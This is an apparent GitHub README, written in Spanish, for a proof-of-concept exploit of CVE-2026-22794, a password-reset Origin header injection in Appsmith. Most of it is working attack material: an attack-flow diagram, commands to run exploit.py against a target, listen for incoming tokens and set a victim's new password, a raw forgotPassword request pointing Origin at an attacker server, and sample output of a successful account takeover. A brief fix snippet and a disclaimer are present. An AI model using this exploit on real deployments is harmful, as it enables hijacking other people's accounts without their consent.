
🔴 CVE-2026-22794 - Toma de control de cuenta en el restablecimiento de contraseña de Appsmith mediante inyección de cabecera Origin | PoC Exploit + Plantilla Nuclei
Secuestro del Enlace de Restablecimiento de Contraseña mediante Manipulación del Encabezado Origin
Este repositorio contiene una Prueba de Concepto (PoC) del exploit para CVE-2026-22794, una vulnerabilidad crítica en Appsmith que permite a los atacantes secuestrar tokens de restablecimiento de contraseña y lograr la toma total de la cuenta.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-22794 |
| Software Afectado | Appsmith (versiones anteriores al parche) |
| Tipo de Vulnerabilidad | Inyección de Encabezado Origin |
| Impacto | Toma Total de la Cuenta |
| Puntuación CVSS | 9.1 (Crítico) |
| Vector de Ataque | Red |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Requerida (la víctima hace clic en el enlace) |
Appsmith utiliza el encabezado HTTP Origin sin validación para construir las URL de restablecimiento de contraseña y verificación de correo electrónico. El código vulnerable asigna directamente el encabezado Origin a la URL base de restablecimiento de contraseña:
userPasswordDTO.setBaseUrl(originHeader);
Esto permite a un atacante:
┌─────────────────────────────────────────────────────────────────┐
│ FLUJO DEL ATAQUE │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ ATACANTE │ │ APPSMITH │ │ VÍCTIMA │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. Enviar correo con │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. La víctima hace clic │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. ¡Token capturado! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. ¡TOMA DE CUENTA! ✓ │ │
│ │ │
# Clonar el repositorio
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Instalar dependencias
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Enlace de Restablecimiento de Contraseña: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] ¡SOLICITUD ENTRANTE CAPTURADA!
[*] Ruta: /user/resetPassword?token=abc123xyz789...
[!!!] ¡TOKEN DE RESTABLECIMIENTO DE CONTRASEÑA CAPTURADO!
[!!!] Token: abc123xyz789...
[+] ¡TOMA DE CUENTA EXITOSA!
[+] La contraseña ha sido restablecida a: NewP@ssw0rd!
Las organizaciones que utilizan Appsmith deberían:
// ❌ CÓDIGO VULNERABLE
userPasswordDTO.setBaseUrl(originHeader);
// ✅ CÓDIGO SEGURO
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// O validar contra la lista blanca
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # Este archivo
├── exploit.py # Script principal del exploit
├── requirements.txt # Dependencias de Python
├── LICENSE # Licencia MIT
└── docs/
└── technical_analysis.md # Análisis técnico detallado de la vulnerabilidad
Esta herramienta se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativos.
Investigador de Seguridad
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.
⭐ Si te resultó útil, ¡por favor dale una estrella al repositorio! ⭐